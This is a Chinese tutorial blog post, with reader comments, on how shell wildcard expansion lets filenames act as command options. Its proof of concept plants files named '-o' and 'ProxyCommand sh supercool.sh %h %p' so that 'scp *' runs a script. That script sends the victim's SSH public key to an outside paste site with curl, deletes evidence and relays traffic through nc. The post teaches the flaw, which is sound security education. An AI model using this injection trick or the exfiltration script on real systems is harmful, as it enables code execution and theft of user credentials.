Linux c/c++编程--知识点(9)Linux 通配符可能产生系统问题

文章原文:https://www.uedbox.com/post/11241/

返回知识列表:Linux c/c++编程-- 知识点汇总


  • 1 通配符

当你在一个bash命令行中输入“*”时,bash会扩展到当前目录的所有文件,然后将他们全部作为参数传递给程序。例如:rm *,将会删除掉当前目录的所有文件。

  • 2 文件名被当做参数

大多数的命令行程序受此影响。例如ls命令,当不适用任何参数时,输出是这个样子的:

$ls 
$asdf.txt foobar -l

如果创建这个 -l 文件呢,我是通过在windows系统下创建出来然后把文件挪进来的。

如果你想要知道这些文件所属的组和用户,你可以通过”-l"参数来查看:

$ ls -l
total 0
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l

注意,有一个名字是“-l”的文件,我们试试“ls *”会发生什么。

#!bash
$ ls *
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

与之前不同的是"ls *” 没有输出-l文件,-l文件被当做了此命令的参数。

此条命令相当于运行:

#!bash
$ ls asdf.txt foobar -l
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

 

  • 3 安全问题

此问题可能导致一些安全问题,当有人参数当中带有一个通配符,又没有事先检查目录下的文件名称。这可能被用来攻击别人电脑。

这个问题是众所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已经有关于此问题的讨论。

同时还有系统稳定性问题。* 扩展后,可能因为文件太多,导致cache被用完。

如果文件中存在 -l.txt 的话,ls * 这个命令将执行失败,提示 ls: invalid option -- '.'

 

  • 4 Proof of Concept Exploit

为了证明这个问题可以转化为一个任意代码执行攻击,我们尝试攻击“scp”命令,scp命令提供了-o选项,配置ssh,SSh有涉及运行命令的选项,我们可以利用这一点,让我们的脚本运行。

假设我们有一个目录的控制权限,在该目录下受害者将运行以下命令(想象一下,用户只下载一个web应用程序的源代码,并上传到他们的网络服务器上):

#!bash

$ scp *<a href="http://www.wooyun.org/cdn-cgi/l/email-protection" data-cfemail="ed989e889fad88958c809d8188c3829f8a">[email protected]</a>:/var/www/

 

为了利用这个命令,在目录下我们需要放几个文件:

"-o" - SCP 将会把这个文件当做 "-o” 参数。

"ProxyCommand sh supercool.sh %h %p" - SCP 将会把这个文件当做 "-o" 的一个参数。

"supercool.sh" - 这个脚本将会被执行。

"zzz.txt" - 没有任何用处的测试文件。

在supercool.sh文件里,有一些恶意的命令:

#!bash

#!/bin/sh

 

# Upload their SSH public key to the Internet, and put a scary message in /tmp/.

echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt

echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt

curl -s -d "jscrypt=no" -d "lifetime=864000"                                \

        -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"    \

        https://defuse.ca/bin/add.php -D - |                                \

        grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt

 

# Delete evidence of our attack.

rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p

echo > ./supercool.sh

 

# Do what ProxyCommand is supposed to do.

nc -p 22332 -w 5 $1 $2

当受害者执行命令时:

#!bash

$ scp *<a href="http://www.wooyun.org/cdn-cgi/l/email-protection" data-cfemail="8bfef8eef9cbeef3eae6fbe7eea5e4f9ec">[email protected]</a>:/var/www/

supercool.sh

zzz.txt

当他检查自己的/tmp目录下的时候将会看到:

#!bash

$ cat /tmp/you-have-been-hacked.txt

By @DefuseSec and @redragonx...

This could have been your private key...

https://defuse.ca/b/QQ3nxADu

 

可以在这里下载完整的poc文件:poc.zip

 

评论

路人甲2014-07-17 17:37:03

 

这样执行呢 scp -- *[email protected]:/var/www/

 

白非白2014-07-01 09:19:10

 

更多内容,请移步http://www.exploit-db.com/papers/33930

 

Jea2014-06-25 11:27:30

 

并非这么简单,在Linux中,并非只有*,~-`都可以,这个甚至是不确定的,有的语言中可以作为声明,这个时候就悲剧了

 

动后河2014-06-25 01:26:31

 

恶意脚本可以用来偷scp密码!

 

mramydnei2014-06-24 19:22:26

 

很有意思~ 不过更像是个backdoor

 

瞌睡龙2014-06-24 17:41:02

 

一个蛮有意思的点,攻击场景你能想到哪些?

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值